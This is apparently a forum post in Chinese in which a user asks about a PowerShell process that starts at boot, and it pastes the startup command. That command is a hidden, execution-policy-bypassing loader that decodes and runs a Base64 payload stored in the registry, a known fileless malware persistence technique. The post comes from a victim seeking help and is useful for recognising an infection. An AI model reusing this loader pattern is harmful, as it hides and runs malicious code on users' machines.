几天前我在任务管理器中注意到我有一个 powershell.exe 进程正在运行。当我去 msconfig 它有一个非常长的命令。这里是：
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.Get.String([Convert]::FromBase64string((gp'HKCU:\Software\Classes\SAJELFZIXHQTV').ADUXJH)));
这真的很奇怪，因为就在今天，我之前遇到过问题的一个随机进程出现了（也许它与此无关，只是说）这是一种病毒，并试图在我的 PC 上下载不安全的驱动程序，正如 Windows 所说的那样。谁能告诉我有关此 PowerShell 进程的信息？它在启动时启动并且一直在运行。再一次，我希望我没有听起来很无知，也许这只是一个正常的启动过程。